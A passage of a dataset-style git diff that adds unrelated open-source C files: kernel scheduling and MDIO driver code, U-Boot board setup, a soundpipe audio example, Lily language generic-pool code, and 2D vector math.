lock_class_key shadow_nodes_key; + +static int __init workingset_init(void) +{ + int ret; + + ret = list_lru_init_key(&workingset_shadow_nodes, &shadow_nodes_key); + if (ret) + goto err; + ret = register_shrinker(&workingset_shadow_shrinker); + if (ret) + goto err_list_lru; + return 0; +err_list_lru: + list_lru_destroy(&workingset_shadow_nodes); +err: + return ret; +} +module_init(workingset_init); diff --git a/pool/shard011/C/0142361_up_blocktask.c b/pool/shard011/C/0142361_up_blocktask.c new file mode 100644 index 0000000000000000000000000000000000000000..6247b8c2e5960c45b5e0fa8ed7b7e70e5af798c4 --- /dev/null +++ b/pool/shard011/C/0142361_up_blocktask.c @@ -0,0 +1,239 @@ +/**************************************************************************** + * + * Copyright 2019 Samsung Electronics All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, + * either express or implied. See the License for the specific + * language governing permissions and limitations under the License. + * + ****************************************************************************/ +/**************************************************************************** + * arch/arm/src/armv8-m/up_blocktask.c + * + * Copyright (C) 2007-2009, 2012-2013 Gregory Nutt. All rights reserved. + * Author: Gregory Nutt + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include + +#include +#include +#include + +#include + +#include "sched/sched.h" +#include "up_internal.h" + +#ifdef CONFIG_TASK_SCHED_HISTORY +#include +#endif + +#ifdef CONFIG_TASK_MONITOR +#include "task_monitor/task_monitor_internal.h" +#endif + +#ifdef CONFIG_ARMV8M_MPU +#include "mpu.h" +#include +#endif + +#ifdef CONFIG_ARMV8M_TRUSTZONE +#include +#endif + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +/**************************************************************************** + * Private Data + ****************************************************************************/ +#ifdef CONFIG_SUPPORT_COMMON_BINARY +extern uint32_t *g_umm_app_id; +#endif + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +/**************************************************************************** + * Name: up_block_task + * + * Description: + * The currently executing task at the head of + * the ready to run list must be stopped. Save its context + * and move it to the inactive list specified by task_state. + * + * Inputs: + * tcb: Refers to a task in the ready-to-run list (normally + * the task at the head of the list). It most be + * stopped, its context saved and moved into one of the + * waiting task lists. It it was the task at the head + * of the ready-to-run list, then a context to the new + * ready to run task must be performed. + * task_state: Specifies which waiting task list should be + * hold the blocked task TCB. + * + ****************************************************************************/ + +void up_block_task(struct tcb_s *tcb, tstate_t task_state) +{ + struct tcb_s *rtcb = this_task(); + bool switch_needed; + + /* Verify that the context switch can be performed */ + + ASSERT((tcb->task_state >= FIRST_READY_TO_RUN_STATE) && (tcb->task_state <= LAST_READY_TO_RUN_STATE)); + + /* Remove the tcb task from the ready-to-run list. If we + * are blocking the task at the head of the task list (the + * most likely case), then a context switch to the next + * ready-to-run task is needed. In this case, it should + * also be true that rtcb == tcb. + */ + + switch_needed = sched_removereadytorun(tcb); + + /* Add the task to the specified blocked task list */ + + sched_addblocked(tcb, (tstate_t)task_state); + + /* If there are any pending tasks, then add them to the g_readytorun + * task list now + */ + + if (g_pendingtasks.head) { + switch_needed |= sched_mergepending(); + } + + /* Now, perform the context switch if one is needed */ + + if (switch_needed) { +#ifdef CONFIG_ARMV8M_TRUSTZONE + if (tcb->tz_context) { + TZ_StoreContext_S(tcb->tz_context); + } +#endif + /* Are we in an interrupt handler? */ + + if (current_regs) { + /* Yes, then we have to do things differently. + * Just copy the current_regs into the OLD rtcb. + */ + + up_savestate(rtcb->xcp.regs); + + /* Restore the exception context of the rtcb at the (new) head + * of the g_readytorun task list. + */ + + rtcb = this_task(); + +#ifdef CONFIG_TASK_SCHED_HISTORY + /* Save the task name which will be scheduled */ + save_task_scheduling_status(rtcb); +#endif + + /* Restore the MPU registers in case we are switching to an application task */ +#ifdef CONFIG_ARMV8M_MPU + /* Condition check : Update MPU registers only if this is not a kernel thread. */ + if ((rtcb->flags & TCB_FLAG_TTYPE_MASK) != TCB_FLAG_TTYPE_KERNEL) { +#if defined(CONFIG_APP_BINARY_SEPARATION) + for (int i = 0; i < 3 * MPU_NUM_REGIONS; i += 3) { + up_mpu_set_register(&rtcb->mpu_regs[i]); + } +#endif + } +#ifdef CONFIG_MPU_STACK_OVERFLOW_PROTECTION + up_mpu_set_register(rtcb->stack_mpu_regs); +#endif +#endif + +#ifdef CONFIG_SUPPORT_COMMON_BINARY + if (g_umm_app_id) { + *g_umm_app_id = rtcb->app_id; + } +#endif +#ifdef CONFIG_TASK_MONITOR + /* Update rtcb active flag for monitoring. */ + rtcb->is_active = true; +#endif + +#ifdef CONFIG_ARMV8M_TRUSTZONE + if (rtcb->tz_context) { + TZ_LoadContext_S(rtcb->tz_context); + } +#endif + /* Then switch contexts */ + + up_restorestate(rtcb->xcp.regs); + + } + + /* No, then we will need to perform the user context switch */ + + else { + /* Switch context to the context of the task at the head of the + * ready to run list. + */ + + struct tcb_s *nexttcb = this_task(); +#ifdef CONFIG_TASK_SCHED_HISTORY + /* Save the task name which will be scheduled */ + save_task_scheduling_status(nexttcb); +#endif + up_switchcontext(rtcb->xcp.regs, nexttcb->xcp.regs); + + /* up_switchcontext forces a context switch to the task at the + * head of the ready-to-run list. It does not 'return' in the + * normal sense. When it does return, it is because the blocked + * task is again ready to run and has execution priority. + */ + } + } +} diff --git a/pool/shard011/C/0142362_ex_blsquare.c b/pool/shard011/C/0142362_ex_blsquare.c new file mode 100644 index 0000000000000000000000000000000000000000..62c504aaab0d28a52064027991285dcdf649413a --- /dev/null +++ b/pool/shard011/C/0142362_ex_blsquare.c @@ -0,0 +1,39 @@ +#include +#include +#include +#include "soundpipe.h" + +typedef struct { + sp_blsquare *blsquare; + int counter; +} UserData; + +void process(sp_data *sp, void *udata) { + UserData *ud = udata; + if(ud->counter == 0){ + *ud->blsquare->freq = 500 + rand() % 2000; + } + sp_blsquare_compute(sp, ud->blsquare, NULL, &sp->out[0]); + ud->counter = (ud->counter + 1) % 4410; +} + +int main() { + srand(time(NULL)); + UserData ud; + ud.counter = 0; + sp_data *sp; + sp_create(&sp); + + sp_blsquare_create(&ud.blsquare); + + sp_blsquare_init(sp, ud.blsquare); + *ud.blsquare->freq = 500.0; + *ud.blsquare->amp = 0.9; + *ud.blsquare->width = 0.5; + sp->len = 44100 * 5; + sp_process(sp, &ud, process); + + sp_blsquare_destroy(&ud.blsquare); + sp_destroy(&sp); + return 0; +} diff --git a/pool/shard011/C/0142363_lily_generic_pool.c b/pool/shard011/C/0142363_lily_generic_pool.c new file mode 100644 index 0000000000000000000000000000000000000000..20c2f52e5cea21d11e9a299d3cabbb81f26bb83f --- /dev/null +++ b/pool/shard011/C/0142363_lily_generic_pool.c @@ -0,0 +1,147 @@ +#include "lily_core_types.h" +#include "lily_generic_pool.h" +#include "lily_symtab.h" +#include "lily_type_maker.h" +#include "lily_alloc.h" + +lily_generic_pool *lily_new_generic_pool(void) +{ + lily_generic_pool *gp = lily_malloc(sizeof(*gp)); + lily_class **cache_generics = lily_malloc(4 * sizeof(*cache_generics)); + lily_class **scope_generics = lily_malloc(4 * sizeof(*scope_generics)); + + gp->cache_generics = cache_generics; + gp->cache_size = 4; + + int i; + for (i = 0;i < 4;i++) + cache_generics[i] = NULL; + + gp->scope_generics = scope_generics; + gp->scope_start = 0; + gp->scope_end = 0; + gp->scope_size = 4; + + return gp; +} + +void lily_free_generic_pool(lily_generic_pool *gp) +{ + int i; + for (i = 0;i < gp->cache_size;i++) { + lily_class *c = gp->cache_generics[i]; + if (c == NULL) + break; + + lily_free(c->self_type); + lily_free(c->name); + lily_free(c); + } + + lily_free(gp->cache_generics); + lily_free(gp->scope_generics); + lily_free(gp); +} + +static lily_class *find_in_cache(lily_generic_pool *gp, const char *name, + int generic_pos, int *next_pos) +{ + int i = 0; + lily_class *c = gp->cache_generics[i]; + + while (c) { + if (c->name[0] == name[0]) + return c; + + i++; + c = gp->cache_generics[i]; + } + + *next_pos = i; + return NULL; +} + +void lily_gp_push(lily_generic_pool *gp, const char *name, int generic_pos) +{ + int i; + lily_class *result = find_in_cache(gp, name, generic_pos, &i); + + if (result == NULL) { + lily_class *new_generic = lily_new_raw_class(name); + lily_type *t = lily_new_raw_type(new_generic); + + t->flags |= TYPE_IS_UNRESOLVED; + t->generic_pos = generic_pos; + + new_generic->id = LILY_ID_GENERIC; + new_generic->self_type = t; + new_generic->all_subtypes = t; + + result = new_generic; + gp->cache_generics[i] = new_generic; + + if (i + 1 == gp->cache_size) { + gp->cache_size *= 2; + lily_class **new_cache = lily_realloc(gp->cache_generics, + gp->cache_size * sizeof(*new_cache)); + + for (i = i + 1;i < gp->cache_size;i++) + new_cache[i] = NULL; + + gp->cache_generics = new_cache; + } + } + + if (gp->scope_end == gp->scope_size) { + gp->scope_size *= 2; + lily_class **new_scope = lily_realloc(gp->scope_generics, + gp->scope_size * sizeof(*new_scope)); + + gp->scope_generics = new_scope; + } + + gp->scope_generics[gp->scope_end] = result; + gp->scope_end++; +} + +lily_class *lily_gp_find(lily_generic_pool *gp, const char *name) +{ + char ch = name[0]; + int i; + + for (i = gp->scope_start;i < gp->scope_end;i++) { + lily_class *c = gp->scope_generics[i]; + if (c->name[0] == ch) + return c; + } + + return NULL; +} + +int lily_gp_num_in_scope(lily_generic_pool *gp) +{ + return gp->scope_end - gp->scope_start; +} + +uint16_t lily_gp_save(lily_generic_pool *gp) +{ + return gp->scope_end; +} + +void lily_gp_restore(lily_generic_pool *gp, uint16_t old_end) +{ + gp->scope_end = old_end; +} + +uint16_t lily_gp_save_and_hide(lily_generic_pool *gp) +{ + uint16_t result = gp->scope_start; + gp->scope_start = gp->scope_end; + return result; +} + +void lily_gp_restore_and_unhide(lily_generic_pool *gp, uint16_t old_start) +{ + gp->scope_end = gp->scope_start; + gp->scope_start = old_start; +} diff --git a/pool/shard011/C/0142364_mdio_device.c b/pool/shard011/C/0142364_mdio_device.c new file mode 100644 index 0000000000000000000000000000000000000000..c1d345c3cab358f1ca8538ade19c1924708b33ee --- /dev/null +++ b/pool/shard011/C/0142364_mdio_device.c @@ -0,0 +1,216 @@ +// SPDX-License-Identifier: GPL-2.0+ +/* Framework for MDIO devices, other than PHYs. + * + * Copyright (c) 2016 Andrew Lunn + */ + +#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +void mdio_device_free(struct mdio_device *mdiodev) +{ + put_device(&mdiodev->dev); +} +EXPORT_SYMBOL(mdio_device_free); + +static void mdio_device_release(struct device *dev) +{ + kfree(to_mdio_device(dev)); +} + +int mdio_device_bus_match(struct device *dev, struct device_driver *drv) +{ + struct mdio_device *mdiodev = to_mdio_device(dev); + struct mdio_driver *mdiodrv = to_mdio_driver(drv); + + if (mdiodrv->mdiodrv.flags & MDIO_DEVICE_IS_PHY) + return 0; + + return strcmp(mdiodev->modalias, drv->name) == 0; +} + +struct mdio_device *mdio_device_create(struct mii_bus *bus, int addr) +{ + struct mdio_device *mdiodev; + + /* We allocate the device, and initialize the default values */ + mdiodev = kzalloc(sizeof(*mdiodev), GFP_KERNEL); + if (!mdiodev) + return ERR_PTR(-ENOMEM); + + mdiodev->dev.release = mdio_device_release; + mdiodev->dev.parent = &bus->dev; + mdiodev->dev.bus = &mdio_bus_type; + mdiodev->device_free = mdio_device_free; + mdiodev->device_remove = mdio_device_remove; + mdiodev->bus = bus; + mdiodev->addr = addr; + + dev_set_name(&mdiodev->dev, PHY_ID_FMT, bus->id, addr); + + device_initialize(&mdiodev->dev); + + return mdiodev; +} +EXPORT_SYMBOL(mdio_device_create); + +/** + * mdio_device_register - Register the mdio device on the MDIO bus + * @mdiodev: mdio_device structure to be added to the MDIO bus + */ +int mdio_device_register(struct mdio_device *mdiodev) +{ + int err; + + dev_dbg(&mdiodev->dev, "mdio_device_register\n"); + + err = mdiobus_register_device(mdiodev); + if (err) + return err; + + err = device_add(&mdiodev->dev); + if (err) { + pr_err("MDIO %d failed to add\n", mdiodev->addr); + goto out; + } + + return 0; + + out: + mdiobus_unregister_device(mdiodev); + return err; +} +EXPORT_SYMBOL(mdio_device_register); + +/** + * mdio_device_remove - Remove a previously registered mdio device from the + * MDIO bus + * @mdiodev: mdio_device structure to remove + * + * This doesn't free the mdio_device itself, it merely reverses the effects + * of mdio_device_register(). Use mdio_device_free() to free the device + * after calling this function. + */ +void mdio_device_remove(struct mdio_device *mdiodev) +{ + device_del(&mdiodev->dev); + mdiobus_unregister_device(mdiodev); +} +EXPORT_SYMBOL(mdio_device_remove); + +void mdio_device_reset(struct mdio_device *mdiodev, int value) +{ + unsigned int d; + + if (!mdiodev->reset_gpio && !mdiodev->reset_ctrl) + return; + + if (mdiodev->reset_gpio) + gpiod_set_value_cansleep(mdiodev->reset_gpio, value); + + if (mdiodev->reset_ctrl) { + if (value) + reset_control_assert(mdiodev->reset_ctrl); + else + reset_control_deassert(mdiodev->reset_ctrl); + } + + d = value ? mdiodev->reset_assert_delay : mdiodev->reset_deassert_delay; + if (d) + usleep_range(d, d + max_t(unsigned int, d / 10, 100)); +} +EXPORT_SYMBOL(mdio_device_reset); + +/** + * mdio_probe - probe an MDIO device + * @dev: device to probe + * + * Description: Take care of setting up the mdio_device structure + * and calling the driver to probe the device. + */ +static int mdio_probe(struct device *dev) +{ + struct mdio_device *mdiodev = to_mdio_device(dev); + struct device_driver *drv = mdiodev->dev.driver; + struct mdio_driver *mdiodrv = to_mdio_driver(drv); + int err = 0; + + if (mdiodrv->probe) { + /* Deassert the reset signal */ + mdio_device_reset(mdiodev, 0); + + err = mdiodrv->probe(mdiodev); + if (err) { + /* Assert the reset signal */ + mdio_device_reset(mdiodev, 1); + } + } + + return err; +} + +static int mdio_remove(struct device *dev) +{ + struct mdio_device *mdiodev = to_mdio_device(dev); + struct device_driver *drv = mdiodev->dev.driver; + struct mdio_driver *mdiodrv = to_mdio_driver(drv); + + if (mdiodrv->remove) { + mdiodrv->remove(mdiodev); + + /* Assert the reset signal */ + mdio_device_reset(mdiodev, 1); + } + + return 0; +} + +/** + * mdio_driver_register - register an mdio_driver with the MDIO layer + * @new_driver: new mdio_driver to register + */ +int mdio_driver_register(struct mdio_driver *drv) +{ + struct mdio_driver_common *mdiodrv = &drv->mdiodrv; + int retval; + + pr_debug("mdio_driver_register: %s\n", mdiodrv->driver.name); + + mdiodrv->driver.bus = &mdio_bus_type; + mdiodrv->driver.probe = mdio_probe; + mdiodrv->driver.remove = mdio_remove; + + retval = driver_register(&mdiodrv->driver); + if (retval) { + pr_err("%s: Error %d in registering driver\n", + mdiodrv->driver.name, retval); + + return retval; + } + + return 0; +} +EXPORT_SYMBOL(mdio_driver_register); + +void mdio_driver_unregister(struct mdio_driver *drv) +{ + struct mdio_driver_common *mdiodrv = &drv->mdiodrv; + + driver_unregister(&mdiodrv->driver); +} +EXPORT_SYMBOL(mdio_driver_unregister); diff --git a/pool/shard011/C/0142365_v2d.c b/pool/shard011/C/0142365_v2d.c new file mode 100644 index 0000000000000000000000000000000000000000..39142d8e5a9f98cbe72875d90d0990bcb7efe3e5 --- /dev/null +++ b/pool/shard011/C/0142365_v2d.c @@ -0,0 +1,134 @@ +/* + * Open Surge Engine + * v2d.c - 2D vectors + * Copyright (C) 2010 Alexandre Martins + * http://opensnc.sourceforge.net + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include +#include "v2d.h" +#include "util.h" +#include "global.h" + +/* + * v2d_new() + * Creates a new 2D vector + */ +v2d_t v2d_new(float x, float y) +{ + v2d_t v = { x , y }; + return v; +} + + +/* + * v2d_add() + * Adds two vectors + */ +v2d_t v2d_add(v2d_t u, v2d_t v) +{ + v2d_t w = { u.x + v.x , u.y + v.y }; + return w; +} + + +/* + * v2d_subtract() + * Subtracts two vectors + */ +v2d_t v2d_subtract(v2d_t u, v2d_t v) +{ + v2d_t w = { u.x - v.x , u.y - v.y }; + return w; +} + + +/* + * v2d_multiply() + * Multiplies a vector by a scalar + */ +v2d_t v2d_multiply(v2d_t u, float h) +{ + v2d_t v = { h * u.x , h * u.y }; + return v; +} + + +/* + * v2d_magnitude() + * Returns the magnitude of a given vector + */ +float v2d_magnitude(v2d_t v) +{ + return sqrt( (v.x*v.x) + (v.y*v.y) ); +} + + +/* + * v2d_dotproduct() + * Dot product: u.v + */ +float v2d_dotproduct(v2d_t u, v2d_t v) +{ + return (u.x*v.x + u.y*v.y); +} + + +/* + * v2d_rotate() + * Rotates a vector. Angle in radians. + */ +v2d_t v2d_rotate(v2d_t v, float ang) +{ + float x = v.x, y = v.y; + v2d_t w; + + w.x = x*cos(ang) - y*sin(ang); + w.y = y*cos(ang) + x*sin(ang); + + return w; +} + + +/* + * v2d_normalize() + * The same thing as v = v / |v|, + * where |v| is the magnitude of v. + */ +v2d_t v2d_normalize(v2d_t v) +{ + float m = v2d_magnitude(v); + v2d_t w = (m > EPSILON) ? v2d_new(v.x/m,v.y/m) : v2d_new(0,0); + return w; +} + + + +/* + * v2d_lerp() + * Performs a linear interpolation + * between u and v. + * 0.0 <= weight <= 1.0 + * The same as: (1-weight)*u + weight*v + */ +v2d_t v2d_lerp(v2d_t u, v2d_t v, float weight) +{ + float w = clip(weight, 0.0, 1.0); + float c = 1.0 - w; + return v2d_new(u.x*c+v.x*w, u.y*c+v.y*w); +} + diff --git a/pool/shard011/C/0142366_mx53evk.c b/pool/shard011/C/0142366_mx53evk.c new file mode 100644 index 0000000000000000000000000000000000000000..6ee6d73ed211a72f0210f041117ece304580035f --- /dev/null +++ b/pool/shard011/C/0142366_mx53evk.c @@ -0,0 +1,269 @@ +/* + * (C) Copyright 2010 Freescale Semiconductor, Inc. + * + * SPDX-License-Identifier: GPL-2.0+ + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +DECLARE_GLOBAL_DATA_PTR; + +int dram_init(void) +{ + /* dram_init must store complete ramsize in gd->ram_size */ + gd->ram_size = get_ram_size((void *)CONFIG_SYS_SDRAM_BASE, + PHYS_SDRAM_1_SIZE); + return 0; +} + +#define UART_PAD_CTRL (PAD_CTL_HYS | PAD_CTL_DSE_HIGH | \ + PAD_CTL_PUS_100K_UP | PAD_CTL_ODE) + +static void setup_iomux_uart(void) +{ + static const iomux_v3_cfg_t uart_pads[] = { + NEW_PAD_CTRL(MX53_PAD_CSI0_DAT11__UART1_RXD_MUX, UART_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_CSI0_DAT10__UART1_TXD_MUX, UART_PAD_CTRL), + }; + + imx_iomux_v3_setup_multiple_pads(uart_pads, ARRAY_SIZE(uart_pads)); +} + +#define I2C_PAD_CTRL (PAD_CTL_SRE_FAST | PAD_CTL_DSE_HIGH | \ + PAD_CTL_HYS | PAD_CTL_ODE) + +static void setup_i2c(unsigned int port_number) +{ + static const iomux_v3_cfg_t i2c1_pads[] = { + NEW_PAD_CTRL(MX53_PAD_CSI0_DAT8__I2C1_SDA, I2C_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_CSI0_DAT9__I2C1_SCL, I2C_PAD_CTRL), + }; + + static const iomux_v3_cfg_t i2c2_pads[] = { + NEW_PAD_CTRL(MX53_PAD_KEY_ROW3__I2C2_SDA, I2C_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_KEY_COL3__I2C2_SCL, I2C_PAD_CTRL), + }; + + switch (port_number) { + case 0: + imx_iomux_v3_setup_multiple_pads(i2c1_pads, + ARRAY_SIZE(i2c1_pads)); + break; + case 1: + imx_iomux_v3_setup_multiple_pads(i2c2_pads, + ARRAY_SIZE(i2c2_pads)); + break; + default: + printf("Warning: Wrong I2C port number\n"); + break; + } +} + +void power_init(void) +{ + unsigned int val; + struct pmic *p; + int ret; + + ret = pmic_init(I2C_0); + if (ret) + return; + + p = pmic_get("FSL_PMIC"); + if (!p) + return; + + /* Set VDDA to 1.25V */ + pmic_reg_read(p, REG_SW_2, &val); + val &= ~SWX_OUT_MASK; + val |= SWX_OUT_1_25; + pmic_reg_write(p, REG_SW_2, val); + + /* + * Need increase VCC and VDDA to 1.3V + * according to MX53 IC TO2 datasheet. + */ + if (is_soc_rev(CHIP_REV_2_0) == 0) { + /* Set VCC to 1.3V for TO2 */ + pmic_reg_read(p, REG_SW_1, &val); + val &= ~SWX_OUT_MASK; + val |= SWX_OUT_1_30; + pmic_reg_write(p, REG_SW_1, val); + + /* Set VDDA to 1.3V for TO2 */ + pmic_reg_read(p, REG_SW_2, &val); + val &= ~SWX_OUT_MASK; + val |= SWX_OUT_1_30; + pmic_reg_write(p, REG_SW_2, val); + } +} + +static void setup_iomux_fec(void) +{ + static const iomux_v3_cfg_t fec_pads[] = { + NEW_PAD_CTRL(MX53_PAD_FEC_MDIO__FEC_MDIO, PAD_CTL_HYS | + PAD_CTL_DSE_HIGH | PAD_CTL_PUS_22K_UP | PAD_CTL_ODE), + NEW_PAD_CTRL(MX53_PAD_FEC_MDC__FEC_MDC, PAD_CTL_DSE_HIGH), + NEW_PAD_CTRL(MX53_PAD_FEC_RXD1__FEC_RDATA_1, + PAD_CTL_HYS | PAD_CTL_PKE), + NEW_PAD_CTRL(MX53_PAD_FEC_RXD0__FEC_RDATA_0, + PAD_CTL_HYS | PAD_CTL_PKE), + NEW_PAD_CTRL(MX53_PAD_FEC_TXD1__FEC_TDATA_1, PAD_CTL_DSE_HIGH), + NEW_PAD_CTRL(MX53_PAD_FEC_TXD0__FEC_TDATA_0, PAD_CTL_DSE_HIGH), + NEW_PAD_CTRL(MX53_PAD_FEC_TX_EN__FEC_TX_EN, PAD_CTL_DSE_HIGH), + NEW_PAD_CTRL(MX53_PAD_FEC_REF_CLK__FEC_TX_CLK, + PAD_CTL_HYS | PAD_CTL_PKE), + NEW_PAD_CTRL(MX53_PAD_FEC_RX_ER__FEC_RX_ER, + PAD_CTL_HYS | PAD_CTL_PKE), + NEW_PAD_CTRL(MX53_PAD_FEC_CRS_DV__FEC_RX_DV, + PAD_CTL_HYS | PAD_CTL_PKE), + }; + + imx_iomux_v3_setup_multiple_pads(fec_pads, ARRAY_SIZE(fec_pads)); +} + +#ifdef CONFIG_FSL_ESDHC +struct fsl_esdhc_cfg esdhc_cfg[2] = { + {MMC_SDHC1_BASE_ADDR}, + {MMC_SDHC3_BASE_ADDR}, +}; + +int board_mmc_getcd(struct mmc *mmc) +{ + struct fsl_esdhc_cfg *cfg = (struct fsl_esdhc_cfg *)mmc->priv; + int ret; + + imx_iomux_v3_setup_pad(MX53_PAD_EIM_DA11__GPIO3_11); + gpio_direction_input(IMX_GPIO_NR(3, 11)); + imx_iomux_v3_setup_pad(MX53_PAD_EIM_DA13__GPIO3_13); + gpio_direction_input(IMX_GPIO_NR(3, 13)); + + if (cfg->esdhc_base == MMC_SDHC1_BASE_ADDR) + ret = !gpio_get_value(IMX_GPIO_NR(3, 13)); + else + ret = !gpio_get_value(IMX_GPIO_NR(3, 11)); + + return ret; +} + +#define SD_CMD_PAD_CTRL (PAD_CTL_HYS | PAD_CTL_DSE_HIGH | \ + PAD_CTL_PUS_100K_UP) +#define SD_PAD_CTRL (PAD_CTL_HYS | PAD_CTL_PUS_47K_UP | \ + PAD_CTL_DSE_HIGH) + +int board_mmc_init(bd_t *bis) +{ + static const iomux_v3_cfg_t sd1_pads[] = { + NEW_PAD_CTRL(MX53_PAD_SD1_CMD__ESDHC1_CMD, SD_CMD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_SD1_CLK__ESDHC1_CLK, SD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_SD1_DATA0__ESDHC1_DAT0, SD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_SD1_DATA1__ESDHC1_DAT1, SD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_SD1_DATA2__ESDHC1_DAT2, SD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_SD1_DATA3__ESDHC1_DAT3, SD_PAD_CTRL), + MX53_PAD_EIM_DA13__GPIO3_13, + }; + + static const iomux_v3_cfg_t sd2_pads[] = { + NEW_PAD_CTRL(MX53_PAD_PATA_RESET_B__ESDHC3_CMD, + SD_CMD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_PATA_IORDY__ESDHC3_CLK, SD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_PATA_DATA8__ESDHC3_DAT0, SD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_PATA_DATA9__ESDHC3_DAT1, SD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_PATA_DATA10__ESDHC3_DAT2, SD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_PATA_DATA11__ESDHC3_DAT3, SD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_PATA_DATA0__ESDHC3_DAT4, SD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_PATA_DATA1__ESDHC3_DAT5, SD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_PATA_DATA2__ESDHC3_DAT6, SD_PAD_CTRL), + NEW_PAD_CTRL(MX53_PAD_PATA_DATA3__ESDHC3_DAT7, SD_PAD_CTRL), + MX53_PAD_EIM_DA11__GPIO3_11, + }; + + u32 index; + int ret; + + esdhc_cfg[0].sdhc_clk = mxc_get_clock(MXC_ESDHC_CLK); + esdhc_cfg[1].sdhc_clk = mxc_get_clock(MXC_ESDHC3_CLK); + + for (index = 0; index < CONFIG_SYS_FSL_ESDHC_NUM; index++) { + switch (index) { + case 0: + imx_iomux_v3_setup_multiple_pads(sd1_pads, + ARRAY_SIZE(sd1_pads)); + break; + case 1: + imx_iomux_v3_setup_multiple_pads(sd2_pads, + ARRAY_SIZE(sd2_pads)); + break; + default: + printf("Warning: you configured more ESDHC controller" + "(%d) as supported by the board(2)\n", + CONFIG_SYS_FSL_ESDHC_NUM); + return -EINVAL; + } + ret = fsl_esdhc_initialize(bis, &esdhc_cfg[index]); + if (ret) + return ret; + } + + return 0; +} +#endif + +int board_early_init_f(void) +{ + setup_iomux_uart(); + setup_iomux_fec(); + + return 0; +} + +int board_init(void) +{ + /* address of boot parameters */ + gd->bd->bi_boot_params = PHYS_SDRAM_1 + 0x100; + + return 0; +} + +#ifdef CONFIG_CMD_BMODE +static const struct boot_mode board_boot_modes[] = { + /* 4 bit bus width */ + {"mmc0", MAKE_CFGVAL(0x40, 0x20, 0x00, 0x12)}, + {"mmc1", MAKE_CFGVAL(0x40, 0x20, 0x08, 0x12)}, + {NULL, 0}, +}; +#endif + +int board_late_init(void) +{ + setup_i2c(1); + power_init(); + +#ifdef CONFIG_CMD_BMODE + add_board_boot_modes(board_boot_modes); +#endif + return 0; +} + +int checkboard(void) +{ + puts("Board: MX53EVK\n"); + + return 0; +} diff --git a/pool/shard011/C/0142367_board-perseus2.c b/pool/shard011/C/0142367_board-perseus2.c new file mode 100644 index 0000000000000000000000000000000000000000..8015d10fc75e30f63e7e9d5d2c9ffff5ec7dd3df --- /dev/null +++ b/pool/shard011/C/0142367_board-perseus2.c @@ -0,0 +1,116 @@ +/* + * linux/arch/arm/mach-omap/board-perseus2.c + * + * Modified from board-generic.c + * + * Original OMAP730 support by Jean Pihet + * Updated for 2.6 by Kevin Hilman + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +#include +#include +#include + +#include +#include +#include +#include + +#include +#include +#include + +#include "common.h" + +void omap_perseus2_init_irq(void) +{ + omap_init_irq(); +} + +static struct resource smc91x_resources[] = { + [0] = { 